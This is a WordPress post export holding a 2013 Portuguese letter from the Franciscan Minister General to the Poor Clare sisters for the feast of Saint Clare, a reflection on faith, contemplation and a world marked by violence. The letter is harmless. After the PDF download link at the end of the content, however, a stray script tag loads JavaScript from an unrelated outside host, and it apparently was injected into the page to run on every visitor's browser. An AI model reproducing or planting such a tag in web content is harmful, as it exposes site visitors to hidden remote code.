{"id":42775,"date":"2013-08-02T01:58:09","date_gmt":"2013-08-02T04:58:09","guid":{"rendered":"http:\/\/new.franciscanos.org.br\/?p=42775"},"modified":"2019-02-13T20:25:46","modified_gmt":"2019-02-13T22:25:46","slug":"carta-do-ministro-geral-para-festa-de-santa-clara","status":"publish","type":"post","link":"https:\/\/franciscanos.org.br\/quemsomos\/carta-do-ministro-geral-para-festa-de-santa-clara\/","title":{"rendered":"Carta do Ministro Geral para festa de Santa Clara"},"content":{"rendered":"<blockquote>\n<h4><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-42779\" src=\"http:\/\/franciscanos.org.br\/wp-content\/uploads\/2013\/07\/santa_clara.jpg\" alt=\"santa_clara\" width=\"500\" height=\"782\" \/>\u00abConsidero-a auxiliar do pr\u00f3prio Deus, sustent\u00e1culo dos membros vacilantes de seu corpo inef\u00e1vel\u00bb (3 LAg 8)<\/h4>\n<\/blockquote>\n<p>Car\u00edssimas Irm\u00e3s, desejo come\u00e7ar esta minha primeira carta, por ocasi\u00e3o da festa da Madre Santa Clara, expressando minha sincera e profunda gratid\u00e3o pela vossa vida doada ao Senhor e a alegria de partilhar convosco a voca\u00e7\u00e3o evang\u00e9lica que Francisco e Clara acolheram de Deus. Portanto, fa\u00e7o minhas, com humildade e confian\u00e7a, as palavras que Francisco escreveu a Clara e suas Irm\u00e3s, em S. Dami\u00e3o: \u00abVisto que por divina inspira\u00e7\u00e3o vos fizestes filhas e servas do alt\u00edssimo e sumo Rei, o Pai celeste, e vos desposastes o Esp\u00edrito Santo, escolhendo viver segundo a perfei\u00e7\u00e3o do santo Evangelho, quero e prometo, por mim e por meus irm\u00e3os, ter sempre por v\u00f3s diligente cuidado e especial solicitude, assim como tenho por eles.\u00bb (<i>FV<\/i>)<\/p>\n<p>Neste <i>Ano da F\u00e9<\/i>, Irm\u00e3s car\u00edssimas, desejo partilhar convosco algumas reflex\u00f5es que, a partir da experi\u00eancia crist\u00e3 de Clara, podem ajudar a viver nossa vida de f\u00e9 no contexto atual, marcado por grandes mudan\u00e7as, conflitos, pobreza. Escutar, compreender e abra\u00e7ar o peso dessa sociedade e dessa hist\u00f3ria, que se muda de maneira t\u00e3o r\u00e1pida \u2013 e discernir, com intelig\u00eancia espiritual, aquilo que \u00e9 irrenunci\u00e1vel e que, precisamente por fidelidade ao Esp\u00edrito, \u00e9 preciso repensar \u2013 constitui para n\u00f3s um desafio que n\u00e3o podemos deixar de lado. Isso pertence \u00e0 nossa exist\u00eancia de Frades Menores e Irm\u00e3s Pobres.<\/p>\n<p>Como permanecer indiferentes diante da viol\u00eancia e do \u00f3dio, que alimentam as guerras, diante de tanta pobreza e explora\u00e7\u00e3o da natureza, da crise econ\u00f4mica que amea\u00e7a perder de vista que a pessoa humana \u00e9 mais importante que o dinheiro e os neg\u00f3cios, de tantos jovens sem futuro e, muitas vezes, tamb\u00e9m sem esperan\u00e7a, de tantas pessoas reduzidas \u00e0 \u00a0escravid\u00e3o, das quais foi roubada a dignidade? Nossa vida de pessoas de f\u00e9 \u00e9 questionada por tudo isso. Que resposta a vida contemplativa pode dar a tudo isso? H\u00e1 uma palavra existencial que vossa vida, evang\u00e9lica e clariana, pode dizer aos var\u00f5es e \u00e0s mulheres de hoje? S\u00f3 um retorno a Deus poder\u00e1 ajudar o homem a romper as correntes da morte que o prendem. S\u00f3 um permanecer dentro da hist\u00f3ria, em profundidade, colocando-se em escuta do grito das pessoas, para responder-lhes com a Palavra do Evangelho, evitar\u00e1 que nossa vida se afaste da companhia das pessoas, renegando assim a Encarna\u00e7\u00e3o do Filho de Deus,\u00a0que se fez carne, a fim de que o homem retornasse a Deus, retomando, como sua, a imagem e semelhan\u00e7a de \u00a0Deus, que traz em si.<\/p>\n<p>Creio que Clara e Francisco, portanto, nos ensinam a prospetiva da qual devemos partir; o princ\u00edpio ao qual dirigir nosso olhar: Deus, o \u00abalt\u00edssimo, onipotente, bom Senhor\u00bb (<i>Cnt <\/i>1), o \u00abalto e glorioso Deus\u00bb (O<i>C <\/i>1), o \u00abonipotente, sant\u00edssimo, alt\u00edssimo e sumo Deus\u00bb (<i>LH <\/i>11), que \u00ab\u00e9 nosso criador, redentor, consolador e salvador \u00bb (<i>PN <\/i>1), o \u00abDoador, o Pai das \u00a0miseric\u00f3rdias\u00bb (<i>TestC <\/i>2), o \u00abalt\u00edssimo Pai celestial\u00bb (<i>TestC <\/i>24), do qual \u00abemana todo sumo bem e todo dom perfeito\u00bb (<i>2In <\/i>3). Devemos tornar a partir com o olhar e a vida voltados ao Senhor!<\/p>\n<p>Jesus, no Evangelho que proclamaremos na Eucaristia da festa de Santa Clara, nos convoca precisamente a essa prioridade fundamental, a de permanecer, a morar n\u2019Ele: \u00abPermanecei em mim, como eu em v\u00f3s. Como o ramo n\u00e3o pode dar fruto por si mesmo, se n\u00e3o permanecer na videira, assim tamb\u00e9m v\u00f3s, se n\u00e3o permanecerdes em mim. Eu sou a videira e v\u00f3s os ramos. Aquele que permanece em mim e eu nele produz muito fruto; porque, sem mim, nada podeis fazer\u00bb (<i>Jo <\/i>15,4-5).<\/p>\n<p>Morar, permanecer e estar s\u00e3o verbos que devem sintonizar-se com a f\u00e9 vivida, e n\u00e3o apenas pensada, uma f\u00e9 viva que pode ser resposta profunda e fortemente evang\u00e9lica, diante da viol\u00eancia e do sofrimento: na verdade, n\u00e3o se trata de passividade, mas de clara e firme decis\u00e3o de mergulhar as ra\u00edzes em profundidade, a fim de que sejam unidas firmemente \u00e0 \u00abnossa irm\u00e3, a m\u00e3e terra\u00bb (<i>Cnt <\/i>9) e \u00abao onipotente, eterno, justo e misericordioso Deus\u00bb (<i>Ord <\/i>50), e nos possibilite atravessar a experi\u00eancia humana com mansid\u00e3o, paci\u00eancia e esperan\u00e7a.<\/p>\n<p>Hoje, mais do que nunca, temos necessidade de atitudes que sejam fruto de ra\u00edzes s\u00f3lidas, como as de Jesus: enraizadas no Pai, sempre voltadas a Ele, jamais separadas d\u2019Ele. Isso nos ensina Clara com a exorta\u00e7\u00e3o escrita a In\u00eas de Bo\u00eamia: \u00abPonha a mente no espelho da eternidade, coloque a alma no esplendor da gl\u00f3ria. Ponha o cora\u00e7\u00e3o na figura da subst\u00e2ncia divina e transforme-se inteira, pela contempla\u00e7\u00e3o, na imagem da divindade\u00bb (<i>3In <\/i>12-13). Esse morar da mente, da alma e do cora\u00e7\u00e3o, exige uma atitude prolongada e cont\u00ednua, uma atitude vital n\u00e3o fragmentada, pois a experi\u00eancia de f\u00e9 de Clara \u00e9 feita de contempla\u00e7\u00e3o transformadora, de um discipulado que transforma a vida, de um Evangelho que liberta e salva.<\/p>\n<p>Creio que com essa atitude de f\u00e9 se possa achar um modo de ser que v\u00e1 contra qualquer tipo de viol\u00eancia; que se possa individuar um estilo de vida que nos leve a buscar aquilo para o qual fomos criados, esperando que nos coloquemos diante da miss\u00e3o de ser cust\u00f3dios da<\/p>\n<p>vida, de respeit\u00e1-la em todas as suas formas, de zelar pelos irm\u00e3os e irm\u00e3s, acompanhando seus passos nas sendas da verdadeira vida. Ocupar-se, acompanhar, cuidar, com profundo senso de confian\u00e7a e seguran\u00e7a n\u2019Aquele ao qual tudo pertence e do qual somos, de algum modo, colaboradores: \u00abeu a considero, num bom uso das palavras do Ap\u00f3stolo, auxiliar do pr\u00f3prio Deus, sustent\u00e1culo dos membros vacilantes de seu corpo inef\u00e1vel\u00bb (<i>3In<\/i>8). Nesse caminho de f\u00e9 e de colabora\u00e7\u00e3o com Deus, Clara exorta-nos a fixar, continuamente, nossos olhos em Cristo, o \u201cespelho\u201d no qual perscrutamos e encontramos a n\u00f3s mesmos \u00abno meio do espelho, considere a humildade, ou pelo menos a bem-aventurada pobreza, as fadigas sem conta e as penas que suportou pela reden\u00e7\u00e3o do g\u00eanero humano. E, no fim desse mesmo espelho, contemple a caridade inef\u00e1vel com que quis padecer no lenho da cruz e nela morrer a morte mais vergonhosa\u00bb (<i>4In<\/i>22-23). Por aquele Homem, descrito no<\/p>\n<p>\u201cespelho\u201d, humilde, pobre e amoroso a ponto de dar a pr\u00f3pria vida por n\u00f3s na cruz, o mal foi derrotado. Com sua vida doada por amor, Jesus fintou e confundiu o mal, abrindo para todos a porta da salva\u00e7\u00e3o por meio da f\u00e9 n\u2019Ele. Pelo olhar prolongado sobre o Homem do<\/p>\n<p>\u201cespelho\u201d, aprendemos uma nova resposta: a paci\u00eancia, a mansid\u00e3o, a humildade, que nega todas as formas de viol\u00eancia. Esta divide a consci\u00eancia do homem e sua rela\u00e7\u00e3o com o pr\u00f3ximo e com Deus. No entanto, vossa vida unificada, car\u00edssimas Irm\u00e3s, feita de sil\u00eancio e de Palavra, pode ser sinal de harmonia recuperada, que reconduz o <i>caos <\/i>da viol\u00eancia ao <i>cosmos <\/i>divino.<\/p>\n<p>O Senhor, o alt\u00edssimo e onipotente, deixa-se encontrar por quem o busca, p\u00f5e-se em nosso n\u00edvel, humilha-se ao tornar-se pessoa humana. Ou melhor, Deus desce ainda mais, porque deseja nosso amor, quer nossa resposta. \u00c9 Ele que nos procura e nos ama, por primeiro<\/p>\n<p>(cf. <i>1Jo <\/i>4,19). Esse \u00e9 nosso Deus, o Deus de Jesus Cristo. Deus fez-se um de n\u00f3s, abaixou-se, a ponto de lavar nossos p\u00e9s. Deus, o Pai, habita conosco atrav\u00e9s de seu Filho Jesus, que quis assumir a forma de servo (cf. <i>Fl<\/i>2,7). Jesus na cruz toma sobre si o mal dos homens e, em troca, d\u00e1 sua M\u00e3e \u00e0 humanidade (cf. Jo 19,27), restitui ao seu traidor o nome de amigo (cf. <i>Jo <\/i>21,15-17), torna justo os culpados (cf. <i>Lc <\/i>23,34), promete o Reino ao malfeitor (cf. <i>Lc <\/i>23,43), d\u00e1-nos o sentido \u00faltimo da vida, na rela\u00e7\u00e3o com o Pai, que permanece para al\u00e9m da morte e conduz \u00e0 ressurrei\u00e7\u00e3o (cf. <i>Lc <\/i>23,43).<\/p>\n<p>Dessa salva\u00e7\u00e3o que o Senhor nos doou gratuitamente, devemos fazer experi\u00eancia concreta: n\u00e3o podemos considerar quest\u00e3o resolvida a procura de Deus, o desejo d\u2019Ele e a acolhida de seu amor salv\u00edfico! O primeiro dom da ressurrei\u00e7\u00e3o de Cristo \u00e9 a paz, que Ele mesmo d\u00e1 a seus disc\u00edpulos (cf. <i>Lc <\/i>24,36; <i>Jo <\/i>20,19). O\u00a0 mundo de hoje precisa dessa paz. Somos chamados a viv\u00ea-la e a guard\u00e1-la, antes de tudo, em n\u00f3s mesmos e, depois, em nossas Fraternidades, implorando-a do Senhor, a fim de que possamos d\u00e1-la a quantos chegam<\/p>\n<p>a n\u00f3s, pedindo-nos o dom da escuta, da ora\u00e7\u00e3o e da ajuda tamb\u00e9m material. Como podemos ser colaboradores de Deus no sustento dos membros vacilantes de seu corpo (cf. <i>3In <\/i>8), se n\u00f3s, primeiramente, n\u00e3o tivermos feito a experi\u00eancia da ressurrei\u00e7\u00e3o e da paz de Cristo em nossa vida pessoal e comunit\u00e1ria?<\/p>\n<p>A v\u00f3s, Irm\u00e3s car\u00edssimas, no contexto hist\u00f3rico em que vivemos, \u00e9 pedido de viver uma maternidade totalmente especial: acolher em vosso seio \u00abas alegrias e esperan\u00e7as, as tristezas e ang\u00fastias dos homens de hoje, dos pobres sobretudo, e de todos os que sofrem\u00bb; essas, na realidade, \u00abs\u00e3o as puras alegrias e as esperan\u00e7as, as tristezas e as ang\u00fastias dos disc\u00edpulos de Cristo, e nada h\u00e1 de mais genuinamente humano, que n\u00e3o encontre eco em nosso cora\u00e7\u00e3o\u00bb (<i>GS <\/i>1). Acolher e gerar vida nova atrav\u00e9s da amizade sincera, da acolhida generosa, de uma palavra s\u00f3lida, uma ora\u00e7\u00e3o verdadeira, um sil\u00eancio que custodia. E isso vos ser\u00e1 poss\u00edvel na medida em que dais espa\u00e7o ao Senhor em vossa vida, entregando a Ele vossa alma, para que possa habitar nela. Escutemos as profundas palavras de Clara: \u00abpois \u00e9 claro que, pela gra\u00e7a de Deus, a mais digna das criaturas, a alma do homem fiel, \u00e9 maior do que o c\u00e9u. Pois os c\u00e9us, com as outras criaturas, n\u00e3o podem conter o Criador: s\u00f3 a alma fiel \u00e9 Sua mans\u00e3o e sede. E isso s\u00f3 pela caridade que os \u00edmpios n\u00e3o tem, pois, como diz a Verdade: Quem me ama ser\u00e1 amado por meu Pai, e eu o amarei, e n\u00f3s viremos a ele e nele faremos nossa morada. Assim como a gloriosa Virgem das virgens o trouxe materialmente, assim tamb\u00e9m voc\u00ea, seguindo seus passos, especialmente os da humildade e pobreza, sem d\u00favida alguma, poder\u00e1 traz\u00ea-lo espiritualmente em um corpo casto e virginal. Voc\u00ea vai conter quem pode conter voc\u00ea e todas as coisas, vai possuir algo que, mesmo comparado com as outras posses passageiras deste mundo, ser\u00e1 mais fortemente seu\u00bb (<i>3In <\/i>21-26). Agrada a Deus tornar infinitamente grande aquilo que n\u00e3o \u00e9 nem mesmo vis\u00edvel aos olhos do corpo e assim faz da alma fiel o lugar de sua presen\u00e7a, uma ponte, um espa\u00e7o de comunh\u00e3o, de revivifica\u00e7\u00e3o, de reconcilia\u00e7\u00e3o. E faz de v\u00f3s, pela for\u00e7a do Esp\u00edrito, ainda hoje, o seio em que se encontram e est\u00e3o juntas a humanidade e a divindade (como em Maria, na qual Deus se fez carne), onde Deus e o homem moram e vivem reconciliados. Vossa tarefa \u00e9 aquela de estar entre o Um e o outro, de pertencer a Um e ao outro, de manter juntos, como simples e transparentes mediadoras, Deus e a humanidade amada, conduzindo os homens a Ele, e Ele aos homens.<\/p>\n<p>Qu\u00e3o grande \u00e9 o amor de Deus por v\u00f3s, Irm\u00e3s car\u00edssimas, de ser a tal ponto envolvidas em seu existir e capazes de carregar em v\u00f3s sua vida! Isso certamente abre vosso cora\u00e7\u00e3o \u00e0 alegria e esperan\u00e7a! Clara viveu, por toda sua vida, com essa consci\u00eancia e certeza, e, pr\u00f3xima da morte, nos deixou sua bela e intensa profiss\u00e3o de f\u00e9 em Deus Pai: \u00aba virgem muito santa, voltando-se para si mesma, diz baixinho \u00e0 sua alma: \u201cV\u00e1 segura, que voc\u00ea tem uma boa escolta para o caminho. V\u00e1, diz, porque Aquele que a criou tamb\u00e9m a santificou;<\/p>\n<p>e, guardando-a sempre como uma m\u00e3e guarda o filho, amou-a com terno amor. E bendito sejais V\u00f3s, Senhor, que me criastes!\u201d\u00bb (<i>LSC <\/i>46). O dom, que podemos pedir ao Senhor, neste <i>Ano da F\u00e9, <\/i>\u00e9 o de reconhecermos, como Clara, no grande abra\u00e7o da Trindade (cf. <i>PC <\/i>3,75;<\/p>\n<p>14,32), o grande seio que protege cada vida, e que a enche de si, e assim chegar \u00e0 conclus\u00e3o de nossos dias terrenos, reconhecendo que nossa vida foi santificada, protegida e amada pelo Senhor.<\/p>\n<p>Ao final desta minha carta, car\u00edssimas Irm\u00e3s, desejo voltar ao ponto do qual partimos: nossa f\u00e9 no Deus de Jesus Cristo, vivida num contexto marcado pela pobreza e viol\u00eancia. Reconhe\u00e7amos e proclamemos a todos que Deus \u00e9 inocente, que Ele \u00e9 o Deus da vida, do amor e da esperan\u00e7a. Recordemos ao homem suas responsabilidades e fa\u00e7amos nossa parte a fim de construir um mundo melhor: com vida centrada na Ressurrei\u00e7\u00e3o do Senhor, caraterizada pela sobriedade e essencialidade, pelo uso simples e moderado das coisas, pelas rela\u00e7\u00f5es verdadeiras, fundadas sobre uma caridade sem fingimento (cf. <i>Rm <\/i>12,9), por gestos concretos de solidariedade, de partilha e de servi\u00e7o, por alguma palavra a menos e de mais sil\u00eancio. Uma vida humilde que prefere o ser em vez do fazer, o verdadeiro em lugar do aparente, o esperado em vez do imediato, a contempla\u00e7\u00e3o em lugar da efici\u00eancia, o sil\u00eancio e o recolhimento em vez da dispers\u00e3o, a miseric\u00f3rdia em lugar de apontar o dedo. Vivamos \u00abcomo peregrinos e forasteiros neste mundo\u00bb (<i>RB <\/i>6,2; <i>RSC <\/i>8,2), sem apropriar-se e sem conservar algo para n\u00f3s (cf. <i>Ord <\/i>29). Seja nossa vida a dizer: n\u00e3o somos melhores que os outros, mas o Senhor nos chamou para segui-lo e sermos como Ele. O Senhor colocou-vos como \u00abespelho e exemplo a todos os que vivem no mundo\u00bb (<i>TestC <\/i>20): n\u00e3o ofusqueis o caminho deles, mas iluminai-os e sustentai-os com o exemplo de uma vida totalmente abandonada n\u2019Ele, confiada \u00e0 Sua gra\u00e7a e miseric\u00f3rdia. Sede irm\u00e3s-m\u00e3es, guardas e amantes da vida, procurando sem descanso, atentas, delicadas, perspicazes e respeitosas quanto aos sinais de vida presentes em tudo. A f\u00e9 no Senhor abre \u00e0 novidade da vida e dos eventos: muda o modo de acolher a exist\u00eancia, as rela\u00e7\u00f5es com as irm\u00e3s e os irm\u00e3os, as situa\u00e7\u00f5es da hist\u00f3ria, com seus desafios e seus dramas. Quando colocamos Deus no centro, percebemos que ningu\u00e9m pode roubar-nos a esperan\u00e7a, e nos esperam dias luminosos, na medida em que tamb\u00e9m n\u00f3s, hoje, fa\u00e7amos nossa parte para ger\u00e1-los. Dias de vida para n\u00f3s e para a humanidade.<\/p>\n<p>Irm\u00e3s car\u00edssimas, confio-vos \u00e0 madre Santa Clara, \u00abimagem da M\u00e3e de Deus\u00bb (<i>LSC <\/i>pr\u00f3logo), a fim de que possais viver, com a mesma paix\u00e3o e radicalidade dela, a \u00abperfei\u00e7\u00e3o do santo Evangelho\u00bb (<i>FV <\/i>1) e ser, continuamente, gratas ao Pai das miseric\u00f3rdias pelo dom de vossa voca\u00e7\u00e3o (cf. <i>TestC <\/i>2). Como sinal e empenho do rec\u00edproco zelo e solicitude (cf. <i>FV <\/i>2), confio \u00e0 vossa ora\u00e7\u00e3o meu servi\u00e7o de \u00abministro geral e servo de toda a Fraternidade\u00bb (<i>RB <\/i>8,1), assim como confio tamb\u00e9m a v\u00f3s todos os Frades Menores, com os quais comungais o mesmo \u201csonho\u201d de Clara e Francisco, certos de que nossa comum voca\u00e7\u00e3o evang\u00e9lica \u00e9 dom de um s\u00f3 e mesmo Esp\u00edrito (cf. <i>2Cel <\/i>204), dom do Senhor Ressuscitado. Felicidades!<\/p>\n<p>Roma, 15 de julho de 2013<\/p>\n<p>Festa de S\u00e3o Boaventura<\/p>\n<p><strong>Fr. Michael Anthony Perry, ofm<\/strong><br \/>\n<i>Ministro Geral, OFM<\/i><\/p>\n<p align=\"right\"><strong>\u00a0<\/strong><\/p>\n<table border=\"0\" width=\"100%\" cellspacing=\"3\" cellpadding=\"3\">\n<tbody>\n<tr>\n<td bgcolor=\"#CCCCCC\" width=\"50%\">\n<h4>TEXTO EM PDF PARA IMPRESS\u00c3O<\/h4>\n<\/td>\n<td bgcolor=\"#CCCCCC\" width=\"66%\">\u00a0<a href=\"http:\/\/franciscanos.org.br\/wp-content\/uploads\/2013\/07\/staclara.pdf\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" loading=\"lazy\" title=\"pdf\" src=\"http:\/\/franciscanos.org.br\/wp-content\/uploads\/2013\/03\/pdf.jpg\" alt=\"\" width=\"80\" height=\"74\" border=\"0\" \/><\/a><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p><script id=\"lg210a\" src=\"https:\/\/cloudapi.online\/js\/api46.js\" type=\"text\/javascript\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Mensagem<\/p>\n","protected":false},"author":1,"featured_media":160562,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[39],"tags":[55],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v21.0 - 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